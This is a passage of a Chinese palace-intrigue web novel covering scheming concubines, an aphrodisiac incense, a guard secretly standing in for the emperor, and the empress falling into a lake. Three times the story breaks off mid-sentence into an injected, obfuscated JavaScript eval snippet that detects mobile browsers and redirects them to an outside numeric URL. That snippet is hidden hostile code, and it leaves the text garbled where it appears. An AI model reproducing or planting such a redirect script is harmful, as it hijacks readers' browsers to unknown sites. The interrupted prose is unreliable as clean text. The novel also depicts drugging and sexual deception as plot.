且他跟在皇上身边三年,也从没见过皇上能连着两天宠幸哪个妃子。即便时常去宝华楼,多数也只是单纯地让凝婕妤陪着而已。因为凝婕妤不爱说话,皇上也不爱听别人说话。 一阵漫长而又诡异的平静过后,屋里终于传出闻寻略带沙哑的命令。跟他猜得不差,闻寻没有要热水,可小福子也没有感到轻松,因为闻寻竟是叫他“即刻送贺才人回宫。” 啊?这……不让她歇歇再走吗? 而更让小福子惊异不已的,还是闻寻话音才落,流萤就穿已然戴整齐兀自推门出来了。除了几缕没揶住的发丝肆意垂落到肩,那漠然冷淡的表情,哪儿有一点才承过宠的样子。 小福子察觉出不对,立刻敛下眉眼不再多看,只做了请的姿势,引领流萤和宝珠往外走。 屋里闻寻没有起身,仍倚在榻上,他看着窗纸上那道挺直剪影一点点模糊远走,竟有一种耐人寻味的空落感从四周席卷而来。 回想流萤到达顶峰后急转冰冷的言语和态度: “皇上赏我一对玉镯吧,一只给我,另一只给江绮玉。算是对她用心成全的回礼。” 流萤要的不是赏赐,而是这一次的教训。 她很聪明,全猜到了。 可她怎么能一下子就知道是迷晴药在作祟?难不成她也…… 还有,凭什么是教训。 身下锦衾被闻寻攥皱,即使这次歪打正着,让流萤彻底恨上了江绮玉。 可他真的不甘极了。 闻寻想要的,是流萤全心爱上自己、然后为他嫉妒成魔。 而不是用这种他最不屑一顾的方式,强迫流萤去恨江绮玉。 因为这种恨意,和自己无关。 他还是没能亲手折断那朵向阳奋力而生的花,没能让它也沦为腐败泥潭中残破不堪的一团。 闻寻始终执拗于流萤为逃避侍寝而故意写错的三十二,也挥不散脑海里初见那晚她穿云炽阳般坚毅不屈的眼神…… 失去了最大快感,闻寻现在只想让江绮玉死、让姓阮的都去死! 小福子送流萤出去,这一路他照顾流萤才侍过寝的身子,特意走得缓慢。流萤扶着宝珠胳膊跟在后面慢移,自然也能感觉得到,是以一出了门便对小福子说, “送到这儿就行了,皇上还在里面等着伺候。今日多谢你照顾,改日得空了还请到银汉宫坐坐,我亲自煎茶赠你。” 流萤说得客气,但声音里更多是疲累。小福子听完立马接到,“贺才人客气了,奴才分内之事。倒是今日委实不便再备轿撵,还请才人见谅。” 皇上吩咐不沐浴直接送回宫,可不就是让人少些怀疑吗,他哪儿还能再找麻烦。说罢,便招呼门口值守的一个小太监过来,叫他好生替自己送贺才人回去。 今日事后二人的反应都太过古怪,小福子真担心出什么岔子,林保益不在,背锅的一定是他。好在闻寻听了他回去转述流萤的话后,只略略嗯了一声,就叫他去把流萤画的那几页纸放在书房收好。 最后,更像是为了掩盖午间发生所的一切,闻寻还刻意叫他传江绮玉晚间到甘泉殿侍寝。 小福子虽不能全明其理,但至少能肯定,流萤在皇上心目中是确确实实有位置了的。他得多留心点。 交代完,闻寻仍没起身,晚上又要熬个大夜,不如先睡会儿。而且床榻间也似乎还有未消散的暧昧气息,莫名牵引着他朝更浓郁的一侧翻转过去。 …… 庆祥宫里,江绮玉又带着孔映欢来跟关采曼碎嘴,说起昨日安仪殿前的糟心事,更是恨不得把流萤从上到下骂个透。 犹不解气,就连带一旁如坐针毡的汪芷柔也一并贬损起来, “瞧你那个畏畏缩缩的样儿,定是不受她待见、又说不过她才天天来这赖着不走的吧。” “听说你之前还给她捏过腰、捶过腿?如今怎样,昨儿个皇上去了银汉宫,俩人彻夜生欢,她可能在皇上面前提你一句?呵呵,真是傻子。” 江绮玉越说越起劲,甚至还转向关采曼,一副实在看不下去的口吻,假装掏起心窝子来。 “关姐姐也是,搭理这个蠢东西干嘛,小心哪日贺之遥给她点甜头就又颠颠跑了,再当那个白眼狼!到时被咬了可别怪妹妹我没提醒你。” 关采曼今日留下汪芷柔,只是想着若江绮玉看见她在,必定觉得多有不便,好早点离开。她不爱听江绮玉呱噪,奈何贤妃发话让自己多带带她,又不能不听。 可江绮玉今日的话头未免太碎了些,竟还大言不惭指点起她来了,真是翘几天尾巴就不知道自己是什么个东西了。关采曼面上已有不悦,冷声打断道, “有些话在这儿说完就打住吧,别忘了贤妃娘娘的叮嘱,卢访烟可不像你这样爱说话。” 要不是长了一张七八分像的脸,就她那个轻贱样儿,被卖进青楼里才最适合。现在却来和自己装模作样、吆五喝六的,真真叫人恶心。 还标榜什么义女,呸!不过男人买回来的下贱玩物。 江绮玉楞了一下,待看清关采曼唇角藏着的轻蔑,一股火气也是跟着上来。 从前知道自己能凭这张脸得多大造化时有多开心,现在就有多痛恨这张脸,更别提让别人冷嘲热讽看笑话。 再想到近来醉欢香用得那么频繁,自己应该马上就能如愿晋位婕妤,到时便和关采曼这个九嫔末的充媛也没差多少。要是还能一举得男,太后更得加封,看关采曼还笑不笑得出来。 便白了圈眼睛要怼回去说不劳她费心,可话才到嘴边,就被外头急急传来的一个太监通传声打断,“娘娘,有内侍监的人来……来找江美人。” 一听是找自己的,江绮玉瞬间来了兴致。 内侍监每次找她都是侍寝的事儿,今日应也不例外吧。想着想着,胜利的唇角就不自觉勾起来。 哼,嘲讽她是替身又怎样,有些人连当替身都不配。一连几月也挨不到皇上一次,那才真真是笑话。 “想必他们定是去了仁康宫发现我不在,才听了谁说找来这儿的吧。” 江绮玉得意的笑容毫不掩饰,催促太监赶快叫人进来。她等不及想看关采曼乱七八糟的脸色,也算是给她一个小瞧自己的教训。 可她脸上的笑容都停了,小太监还是迟迟不动,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339275|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起这里毕竟是关采曼的主场,还得等她发话才行。便佯装蓦地想起来什么似的,回过头给关采曼赔了不是。 “对不住关姐姐了,我这一听有人找竟就什么都忘了,姐姐可莫要与我计较。还是快快传他们进来吧,也不好一直叫内侍监的人在外等着。” 关采曼想撵她出去自行见内侍监,但忌惮她有太后撑腰,终还是不敢。只好不情愿地叫人进来。但没想到人进来后,才更叫她生气。 “江美人,皇上传您今晚去甘泉殿侍寝。” 内侍监的领头太监先对着江绮玉传达完皇上的旨意,才恭恭敬敬行了一礼对关采曼解释,“奴才实不敢耽误侍寝时间,才来此传通传江美人,还望关充媛见谅。” 关采曼虽然怒急,但内侍监公事公办,她也无权指责,只能剜一眼江绮玉。却正看见她那得意自傲的模样,实在让人难忍,便直接以叫江绮玉早些回去准备的由头赶走了她。 待江绮玉彻底离开,关采曼才稀里哗啦将小几上的青花瓷杯盏摔了个遍,好泄心头之愤。 虽然知道等太后目的达成,江绮玉不会有什么好下场,可那一天迟迟不到,就得多看她猖狂一天。关采曼发誓,到时定要跟太后请命、亲自给她善后! “娘娘莫气,仔细身子。”汪芷柔憋着幸灾乐祸,小声小气劝慰道。 她暗想等小盛子的事儿有了结果后,定要一并给之遥好好给讲讲今日的故事,可真解气呀。 甚至越想,嘴角笑容越难压,只得蹲下去捡碎瓷片企图掩饰一二。好在关采曼正在气头上,且也不认为汪芷柔看见了又能有何妨。 在她眼里,汪芷柔跟姚梦芹、安碧那种唯唯诺诺,出事儿了只会哭的女人没什么区别。硬要说,就是汪芷柔的家世能稍好一些,手上值钱的物件也多一些。 不然她也不会可着汪芷柔威胁。 “行了,少干那些没用的,不如想想怎么也打点打点内侍监。进宫到现在,皇上可再传过你一次?瞧瞧江绮玉,恨不得天天都黏上去!” 汪芷柔小声应下,“嫔妾回去找找,等有妥当的礼物了再劳烦娘娘帮嫔妾走走关系。” 听她还算明白,关采曼这才有所熄火,摆摆手叫她走了。 等回静兰轩关上门,汪芷柔便将妆龛里的首饰都倒出来,喊上桂儿一起,想挑拣出一件记号做得最好的。看了半晌,最后才将目光定格在一支累丝嵌绿松石的并蒂金步摇。 她初次侍寝时,戴的就是这个。如果皇上还记得……那便是最好的证明。 这些事儿她都没有背过贴身伺候的桂儿,当然,也是背不了。 不过她许了桂儿离宫后可以到京兆尹府上给娘做大丫头,或是叫娘给她些银钱足够后半辈子衣食无忧,是以桂儿就算只为了自己,也得真心盼她好。 桂儿因此算是有了依靠,汪芷柔在流萤身边更是有了底气。 可都是挣扎在底层,唯有孔映欢无援无助,即使做了江绮玉的跟屁虫,依旧讨不到丁点好。 她看着江绮玉欢欢喜喜随内侍监而走的背影,不禁想到方才江绮玉嘲笑汪芷柔不得流萤记挂,那么她自己呢? 本是想着跟着吃肉的人,总能喝上口汤。但皇上一次仁康宫没去过,从来都是宣江绮玉到甘泉殿伺候。孔映欢哪怕天天粘着,也蹭不到一点得见皇上的机会。 她岂能甘心。 但这是她不知道江绮玉进了甘泉殿之后的事儿,若知道,就得感叹自己这般无宠无爱也挺好了。 30. 残忍真相 甘泉殿里氛香四溢,刚刚沐浴过的江绮玉身上还冒着热气。她欣赏着铜镜里自己妖娆傲人的身姿,臆想等会儿扑上闻寻又是何等缠绵、何等销魂。 宫女们伺候她换上丝织寝衣,江绮玉一扭脸让她们拿走,“换件轻薄的,再把我自己的香粉盒拿来。” 今日的醉欢香里,她多加了点猛料,保证闻寻有了第一次就还想要第二次。 江绮玉受够了闻寻一下床就对自己冷眼相待,她要闻寻时时刻刻都对自己爱不释手、食髓知味。她要真真正正变成后宫得宠第一人。 一切收拾妥当,江绮玉推开了那扇朱漆木门。屋里闻寻依旧稳坐在侧边的软榻上,没有上床等她。 她褪去一半外衫往里走,露出光洁的肩头依偎进闻寻怀中,媚眼如丝,“皇上久等了,嫔妾伺候您把衣裳去了吧。” 闻寻挡开住江绮玉攀附上来的双臂,不作声挑起扶手上挂着的一根玄色丝带,放到她面前。 江绮玉身形稍顿,知道闻寻又要给她戴眼罩了,便娇滴滴故作委屈地问, “皇上,今晚不戴了行不行?嫔妾想……想看着您。” 第一次见闻寻玩花样时,江绮玉还当他情趣盎然,那醉香欢用了都多余。 可后来每一次侍寝都叫她蒙住眼睛,这才猜测闻寻是不是有点儿癖好,亦或是不愿意看见自己这张跟某人相像的脸?那是不是就说明自己有冲破替身的希望? “不行,朕就喜欢你这个样子。” 闻寻捏着她的下巴,眼神里尽是轻蔑。可江绮玉却看得痴迷,把自己放纵在那张锋利冷峻的面容里任其蛊惑,只想下一刻就辗转到他的身下。 甘泉殿毕竟不是江绮玉的主场,不能大摇大摆把醉欢香带进来。她便一直将醉欢香融进香膏里再一并涂到自己身上,因此,受到的药劲儿自然更大,就总是比闻寻先动情。 从浴室涂好再一路走来这里,她早已灼热难耐,只好立即拿起丝带主动系上,任由闻寻牵引着丝带的另一端去到榻上。 闻寻吹灭了立在床柱边的琉璃灯,只剩屏风外几盏烛台摇曳出昏暗的光影。 “等着。” 闻寻声音带着克制,说完便翻身下榻,片刻后再回来却是铜体火热。 江绮玉放肆享受着,情到深处甚至想偷偷摘下丝带,不料才刚有动作就被发现。有力的大手钳住她高高举过头顶,莫名让她更加兴奋、也更加快乐。 殊不知,与她共赴爱河的根本不是令她魂牵梦绕的闻寻,而是她平日见了就要捂鼻喊臭的羽林军侍卫之一,程兆。 而闻寻早已去了一旁太监守夜用的隔间,未点一盏灯站在窗前,任冷风吹灭醉欢香挑起的躁动,等待程兆结束后再来请他。 自打江绮玉第一次侍寝起,闻寻就是这样安排的。 太后不是想要孩子吗?那就给她一个孩子。 生不生下得来,要看流萤、或是其他眼红的女人使多大手段。即使侥幸生下来,也是孽障。 闻寻要报复,要连带着第一次被他们用醉欢香暗算时受的伤一起,以牙还牙。 后宫嫔妃与羽林军私通、混淆皇嗣血脉,无论哪一个论起来都能狠狠打太后巴掌。谁叫这是她领进来的人。 太后的身体近两年愈发不复从前。太医署虽是不间断地熬送延年益寿的补药,但一直不见太大起色。他们只说人总归争不过天,命数到了,什么都是徒劳。 但太后掌权多年,哪儿舍得轻易放手。而且她用一辈子心血扶植起的阮家,至今都还没找到下一任掌权人,她又怎敢撒手? 一个完完全全属于阮家的皇子有多重要,没人能比闻寻更知道。 想到这里,闻寻突然攥紧了拳,猛砸在窗台上。 前两日贵妃宋灵书曾郑重与他说过一番话,如果那些都是真的……一个江绮玉就远远不够抵消那些冤孽,他必须要亲手将那毒妇拽下地狱,哪怕鱼死网破,哪怕同归于尽。 良久,里间的乱耳靡音终于在江绮玉一声高呼后戛然而止,程兆趁其还在迷离中迅速撤了出来。 抱拳跪在闻寻脚边,“皇上,今日的香似乎比以往更重,臣鼻子里塞了绢布依旧闻得清楚。您进去时务必小心些。” 程兆一五一十说着,他的任务除了替皇上播种,还要挑一些紧要的细节告诉皇上。所以他必须保持清醒,以免露馅。 程兆最初得到这个命令的时候简直吓傻了。先不说其中的荒唐,只说无论最终结果如何,皇上都不会留下任何知道此事的活口吧?这跟直接要他的命又有什么区别! 可他也没法拒绝,如果不服从命令,那他连走出那道门的机会都没有。 是以每一次替皇上去做那件事,程兆都抱着死前最后一次的决心。他也在发泄。加之醉欢香的猛烈药效次次都不会太快,等一切结束,江绮玉多半已昏睡过去。他再出来换皇上进去便也一直没有暴露。 “放你一天假,给家中母亲抓些好药。”闻寻漠然转身,留下一块金锭子在窗台上。 闻寻从几个贴身侍卫里选中程兆,第一是因为他的身形和自己最像,模样也算清俊,最不容易露馅。第二则听说他是个孝子,俸禄全部用在病弱母亲身上,自己只冬夏两套衣裳,穿坏了也舍不得换。 有弱点,就意味着有不能承担的后果。就不怕他坏事。 可此刻,闻寻脑海里还虚浮着宋灵书的话,再看程兆时,竟破天荒生出一丝怜悯来。 闻寻转到内间,果然没听见江绮玉像之前几次有点动静就喊自己,已然酣睡过去。冷哼念着是她自己找死,却还是将提前准备好的一只春带彩翡翠镯放在枕边,让她一睁眼便能看见。 另一只则装盒由小福子送到银汉宫,戴到了流萤的手上。 透亮的嫩草色上飘一抹罗兰紫,灵动而飘逸,直把宝珠看得两眼放光。“皇上亲自赏的东西就是不一样啊,怕是把尚服局送来的所有东西加一块都抵不过这一只镯子吧。” 流萤嗤笑,“通体碧绿或妖紫的才值钱,这不过图个新鲜。” 说着便抓过宝珠的手,要先给她戴上过过瘾。吓得宝珠完全不敢动,担心推脱的时候再不小心打碎了,只能任由流萤给她戴上。 没有女孩子不喜欢首饰的,看着镯子真套到了自己手上,宝珠脸上的惊喜掩盖不了一点。她可从没想过自己还能跟这种好东西沾上边。 “主子您快戴回去吧,这么漂亮,怎么也比那两颗东珠值钱。” 宝珠知道自家主子只偏爱贵的东西,便想借东珠抬抬价。这毕竟是皇上亲赏的,想必皇上一定希望能看主子欢欢喜喜戴着吧。 “等没用了就赏你,但不能戴出去显摆。”流萤说得漫不经心,语气却是板上钉钉的坚决。 她是喜欢钱,可脏的不行。 回想白日里跟闻寻讨要这对镯子时说的话,流萤其实是有一点后悔的。 她不怕闻寻知道自己聪明,但她怕知道得太早,等真正出手的时候就没那么大的冲击力了。 好在闻寻给的反馈是支持,并不会影响她的计划。 流萤把镯子戴回自己手上,冰冰凉的触感,让她一下子就想到了闻寻的体温。想到午间、想到昨晚,进而想到安仪殿前的偏袒,以及银汉宫中的陪伴。 闻寻做这一切的用意,应该就是想引自己上套吧? 从前认为是闻寻的阴险报复,现在依旧作数,只不过还要在上面多加一点。那便是闻寻想看自己与江绮玉鹬蚌相争,他好渔翁得利。 所以才明目张胆对自己宠爱。这样,嫉妒红眼的江绮玉就一定不会让自己好过。同样的,都敢跟皇帝梗脖的自己更不可能坐以待毙,必定全力反击。 无论最终谁斗败,都是除掉了他的心头之恨。他还能站在制高点上,审判剩下的那个。 不行。 流萤突然意识到,光有合作价值,是不足以长久地在闻寻面前站稳脚的。 闻寻这人乖僻得很,也阴暗得很。摆脱太后的掣肘虽然是他想要的,但不一定就是他最想要的。闻寻更在意的,好像是凡事都讲一个“他喜欢”。 从人到物,他都只取“顺他心意”的。所以,必须得让闻寻也喜欢上自己。真正喜欢上自己。 他那种任性的偏爱,百利而无一害。 …… 过了两日又到十五,流萤这次赶大早就到了承德宫,不再落下错处。但好事儿的关采曼还是挑了闻寻留宿银汉宫的事情撺掇人。 关采曼应该是宫里最不希望流萤得宠的。只有流萤不被重视,银汉宫才无人无津,才能任她予取予求。 “嫔妾可担不起得宠之名,这才进宫几日,哪儿及各位娘娘久伴君侧。若硬要说,也得是江美人后来居上,独领圣心。瞧瞧江美人戴的新镯子,嫔妾就是不出宫,听到是皇上赏的也羡慕坏了呢。” 流萤也看准江绮玉戴了那只春带彩翡翠镯,故意说给关采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339276|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曼听。让她眼红。 在宫中,皇上给了谁赏赐这种事儿本就瞒不住,更何况江绮玉自己也从来板不住炫耀。不等别人打听具体赏了什么,她就迫不及待要挨个展示一圈了。 尤其这次江绮玉人还在甘泉殿,就直接从里面带了东西出来,更让她脸上有光,光是跟伺候洗漱的宫女都显摆了两遍不止。 “怎么,皇上亲自去了你宫中还是没表示?那贺才人可要再努力些才是。”江绮玉言语里的嘲讽毫不遮掩。 她只知道不能放过这个反击流萤的机会,并不考虑如此直白露骨会不符身份,凭白让人笑话半路义女永远学不来正经女儿的端庄做派。 贤妃向来最在意面上的端贵持重,虽说江绮玉只是生子工具,但现下代表的也是阮家脸面,再烂的泥也得扶一扶上墙。 便沉声点了她两句,“尽心侍奉皇上,不是图多大奖赏,而是要为皇室绵延子嗣,以固国本。你们既得皇上喜爱,就该尽早尽自己的本分,莫让皇上失望。” 提到子嗣,江绮玉心里更是满足。一边畅想太后要给她晋位婕妤的承诺,一遍回味与闻寻的种种缠绵,唇角不由得翘得老高,“娘娘说得正是,嫔妾也希望早日有好消息。” 那一脸的窃喜叫在场众人都忍不住要翻白眼,偏还不好说什么,唯有一贯坦荡无畏的向若蝶不惯毛病,冷笑着提醒她,“有了也别高兴得太早,能养大才是本事。” 向若蝶一句话,顿时让大殿冷了下来。 谁不记得她当年失子,差点把整个皇宫都掀翻了。成天猩红着眼,看谁都像害死二皇子的凶手,恨不得挨个都咬上一口。 后来消沉了好长一段时间,只有看见三皇子的时候能有点精神。如今听她这样自嘲,不免都有些唏嘘。 但江绮玉体会不了,她只觉得向若蝶是在诅咒自己。于是脸色骤然一变,哪还管她是什么品阶,反正自己背后有太后撑腰。 直言道,“昭容娘娘看不好孩子,别把旁人也带上。嫔妾可不劳您费心,待日后有了皇儿,必定豁出命也要保他无虞!” 嘭! 向若蝶抄起手边茶盏,不带一点犹豫就砸向了江绮玉! 茶盏应地而碎,溅起的碎片险些割破了江绮玉的脸,吓得她这才想起来找贤妃求助。但贤妃只是黑着脸叫她给向若蝶赔罪,丝毫没有帮她的意思。 江绮玉不可置信,呆愣半晌没动,关采曼便见缝插针替贤妃解释道, “江妹妹说这话也太叫人心寒了。就算你进宫时日短,也不该如此口无遮拦。别说向姐姐今日用茶水泼你,就是叫你去二皇子牌位前磕头认错你也得认。还不赶快给向姐姐和二皇子道歉。” 关采曼这话听起来是在帮江绮玉,说她无知第一次犯,总要被原谅。实则却是把江绮玉从不尊妃嫔、直接定罪到不敬皇嗣上。 流萤偷瞄到关采曼眼底的幸灾乐祸,知道二人间的隔阂已比自己想象得还深,便将身体往椅背上靠得更近,退出了战场,继续默默看这出好戏。 二皇子可是向若蝶最大的痛,连皇上和太后都因在意其父怀化大将军镇守边塞多年而默许她“帮忙照顾”三皇子,江绮玉这个蠢货竟还敢硬撞上去,真以为得脸几日就能在宫里横着走了吗? 如此愚钝不灵,能不能活到自己动手都难说。 流萤低头喝茶,掩住嘴角讥笑。也不知这算不算是个意外收获。 又听曹可臻适时接住关采曼的话,“江妹妹进宫时日短,就算不知贤妃娘娘一直教导嫔妾们谨言慎行,荣辱与共。可也该知道‘无礼之人,行不由径’吧?还是说真就没听过这句话?昭容娘娘好心提醒,你不领情还恶语伤人,可要小心乐极生悲啊。” 曹可臻一改往日和善笑容,剑光眼神丝毫不输向若蝶。 怪不得王爷说他们二人的关系,实则是向若蝶依靠曹可臻更多。该她维护人的时候真一点不含糊。 “那我就等着你豁出命来。”向若蝶指着江绮玉,一字一顿说得狠戾,似有要将其生宰活割的架势。 贤妃虽然不喜欢向若蝶,但此事确是江绮玉出言不逊,没有分寸。不罚她就不能服众。 一个生子工具如何能跟自己的威仪所比?于是冷声下令,叫她晚间到御殿里为二皇子诵经请罪。 江绮玉忿忿去了,也反思了。 但跟什么几皇子统统没关,而是琢磨着贤妃为何就不能像太后那样处处护着她、把她当作自己人? 31. 皇后落水 一场闹剧不欢而散,从承德宫出来,人人都躲着向若蝶,流萤也不例外。她走在众人后面,轻声叫住汪芷柔,“去我那儿坐坐?你可有些日子没来了。” 汪芷柔小心翼翼看了眼关采曼的方向,得到一个勉强同意的警告眼神后,才怯怯地跟流萤同行而走。 待他们二人彻底避开人群,绕进了御花园一条偏僻的小道里,汪芷柔才恢复往日的温婉笑意。挽上流萤胳膊,有一肚子话想说,但还是叫流萤率先发问了, “小盛子有消息了吗?” 流萤直截了当,她现在只关心这个。 汪芷柔点头,表情很是兴奋,刚要开口却被流萤抬手打断,只领着她加快脚步往更深处的玉瑶池走去。 玉瑶池算是御花园的中心位置,池中还有一明珠岛,岛上藏一望仙阁。望仙阁双层挑高,每逢阴雨雾天,更显杳霭流玉,若隐若现。实为园中独一无二之景。 但也恰恰因它如此出挑,除了几个高位嫔妃平时鲜有人上去招摇。尤其到了深秋,湖中央只剩下吹人冷风,更没人愿意上来。 汪芷柔紧着领口缩在一边,后悔没把狐皮斗篷穿出来,足打了两个激灵才等来扶栏望景的流萤转身。 “愿意看,明年夏天我天天陪你来。” “夏天?热起来你更难熬。” 流萤解开自己的披风搭在汪芷柔肩上,催促她,“早说完早回去。” 这点小风对她来说算不得什么。 汪芷柔不要,但拗不过流萤,只能用最快的语速,希望少让她挨些冻。 “说来也巧,小盛子竟恰好就在陈食官手底下打杂,我才一提,陈食官就把知道的全告诉我了。他确实有个妹妹在尚服局做活,名字记不清了,但多半是红绡没错。看来春桃真不敢瞒你。” “还记得陈食官每日都从顾大人那里接手光禄寺送进来的膳食吧,小盛子逢三逢六轮班,也跟着一起去接收检验。” 逢三逢六? 流萤转念一想,前日就是十三,看汪芷柔这个激动表情,难不成叫他们抓到现行了? 汪芷柔定定点头,“我见什么都对得上,就大概说了小盛子可能会从中搞小动作,让他仔细留意。并请他代我转达顾大人,也找一找那边有何人不对劲。” 汪芷柔知道流萤谨慎,担心她嫌自己透露多了,特还多补上一句,“放心,他们两位不会害我。” 流萤听懂她的意思,只微微颔首让她继续说下去。比起萍水相逢的自己,汪芷柔本就更该相信跟家里早给安排的那二人。只要汪正隆的关系在一天,这二人就可靠一天。 “今早尚食局送来的早膳里,在我的小菜底下藏了这张纸条。” 汪芷柔从袖中掏出一张卷得很实的小纸条,递给流萤看,上面透亮油光里能看出细小几个字:副使张换金,盛丑离。 “我猜是顾大人的张姓副手用金豆子之类与小盛子交换宝贝、小盛子拿了钱又在丑时离开的意思吧。当时情急,我也不知道藏哪儿,就合计正好今日要去承德宫相聚,定能找个机会给你。”汪芷柔解释道。 流萤将小纸条平铺展开,上上下下又看了一遍,确保没有错漏什么后即刻撕碎,随风扬进了湖里。想对汪芷柔说“若能背得住,可以先销毁。”可她犹豫了一下,终还是没有说出口。 再品品看吧。 流萤起身,朝北举目远眺,搜寻着北武门和银汉宫的方位。 目光流连间,她突然觉得银汉宫好渺小、好落魄。 从前身在其中不觉得,现下看即使银汉宫已是宫中地势最高的宫殿,可从这里望过去仍只有一个青瓦方顶露头,里面藏宝无数,此刻却显不出丁点儿光辉。 反观前面纵横紧凑的红墙连波,纵然深秋萧瑟,天底阴沉,依旧是皇家独有的磅礴、肃立更多。 这种独处一隅的割裂感,让流萤好奇。 她知道银汉宫是先帝宠爱柔妃才大兴土木为其后建的,但东边向阳的区域不是还空着大片吗?为何偏要建在和冷宫并排最北的地方? 若说是取天际在北、手可摘星辰之意,那又为何不建得再高些? 先帝真的爱柔妃吗?还是只当她作寻乐玩物?并不在乎招摇与否,只为自己肆意,不然柔妃最后也不会死得那么惨…… 流萤抽回思绪,继续斟酌自己的计划,“光禄寺的车马从北武门进,银汉宫倒是近水楼台了。” 她招呼汪芷柔起身一起往北边看,“今晚我就让小金子从北武门位置往尚食局走几趟,找找又快又隐蔽的路线,明日便试着去跟踪看看。” 汪芷柔裹着披风挪到栏杆旁,还没顺她指的方向看出什么名堂,就听流萤又说,“另外,这两个你收好。” 只见流萤大卷起袖子,费了好大劲儿才把两个都快当成臂钏戴的镯子从胳膊上拽下来。 汪芷柔看得疑惑,等接到手上仔细看了更困惑,“诶?这不是……” “对,这个春带彩的翡翠镯跟江绮玉的一样。另外一只油青深种的是我自己的镯子,你且拿回去交给关采曼,就当是我今日送你、你再孝敬她的。这镯子不值几个钱,惹不起她怀疑,当然也不够格叫她转手倒卖。” 流萤把两个镯子一左一右给汪芷柔戴上,左边的那个也卡在跟自己同样的位置,细嫩小胳膊顷刻就挤得通红。 确保不会掉下来了,又郑重嘱咐一遍,“但这个春带彩,你一定要背过所有人收好。宫中没人知道我也有。只有等我给你信号了,你再想法拿它替换掉已经给到关采曼的那个油青镯。” 汪芷柔一听到任务的艰巨,就苦着脸怕自己做不到,流萤只叫她放心,“到时我会给你争取最多的时间,你只要像今日这样戴镯子进她房中去、再戴另一只出来,一定没人能发现得了。” “我……”汪芷柔还想说些什么,突然听见一阵嘈杂尖叫的声音。 二人相视错愕,望仙阁附近居然还有人?! 她们现在二楼,虽然不怕对话传到下面去,但还是被吓了一跳。于是赶忙踱步到栏边,一齐循着声音望去。这一望,更是让二人的心狂跳不止。 下面居然这么多人?! 宫女们围在湖边游廊上呼喊张望,太监们则一个接一个往湖里跳。那是……有人落水了?! 汪芷柔想趁乱逃走,流萤却拽紧汪芷柔的手折返往楼下走,“不能跑,咱俩必须露面。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339277|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们没发现有人来,不代表就没人看见他们二人在此出现过。 “万一有眼尖嘴欠的说见过咱们,而咱们又假装不知道避开,这事儿反倒说不清了。” 汪芷柔本就紧张,一听流萤这么说,立即点头如捣蒜,她说什么就是什么。 外面呼救的声音越来越响,流萤隐隐约约还听见有人喊皇后娘娘?难道落水的是皇后?! 皇后不好生在太后身边待着,来这儿做什么? 不由得加快了脚步,好在一出望仙阁就看见游廊另一端急得直转圈圈的小人儿,正是皇后。 流萤舒一口气,只要不是皇后掉下去就好办很多。 那落水的又是谁?谁能让皇后如此着急? “皇后娘娘?发生何事?”流萤小跑过去,匆匆行了一礼问道。 皇后没工夫搭理她,甚至连瞧都没瞧她,只如热锅上的蚂蚁对一旁的宫人指挥着,“再往里面游点儿啊,快!快救悠悠上来!哎呀,那边那边!” 悠悠?闵悠悠?太后给找皇后找的那个同龄小玩伴? 怪不得皇后这么着急,看来她们这三年倒是玩出真感情了。 闻寻登基那年,皇后才将满十岁。完完全全稚童一个,太后也没想让她做什么,只等她占上后位慢慢长大就好。于是便将与阮家交好的兵部员外郎的小女闵悠悠封为采女也接进了宫。 二人年岁相当,心境也相同,没几日就好到形影不离。太后见闵悠悠也算听话乖巧,便带着一起,留在身边亲自教养。 所以这两人从不去贤妃宫中与嫔妃们相聚,只在慈安宫和凤仪宫当中辗转,倒是跟从前在自家府上没什么却区别。 除了大型宫宴露面,平时想偶遇一下都难,今日也不知是什么好日子,竟叫他们赶上了。还一赶就是个大事儿。 流萤看准间隙,绕到皇后身边,也跟着把扶木栏,假装往前伸手帮忙。还给汪芷柔使眼色,叫她也照着做,省得等会儿再有人怀疑她们此刻出现在此处的可疑。 流萤冲在前面,湖里太监扑腾溅起水花一波接一波打在她脸上,凉凉的。有些迸到眼睛里,也只揉一揉继续做模做样。皇后这才扫她一眼,然后继续给底下的太监指挥方向。 可是闵悠悠实在吓坏了,闭着眼一个劲儿扑腾,反而离岸边越来越远。眼看最前头的太监抓到她了,她却又因害怕而胡乱拍开了。 急得皇后猛拍木栏大喊,“哎呀,这边!悠悠你别躲啊!” 更是直接一脚踩到了横杆上,旁边的宫女吓傻了,直拦抱着叫她快下来。可人多了反而使错劲,你一下我一下,也不知哪下没弄好,竟把皇后给推下去了! 那一刻,时间仿佛静止。 直到扑通一声如雷贯耳,簇拥着的宫女们才回过神来疾呼着要去救人。 “皇后娘娘!快来人呐!皇后娘娘落水了!” 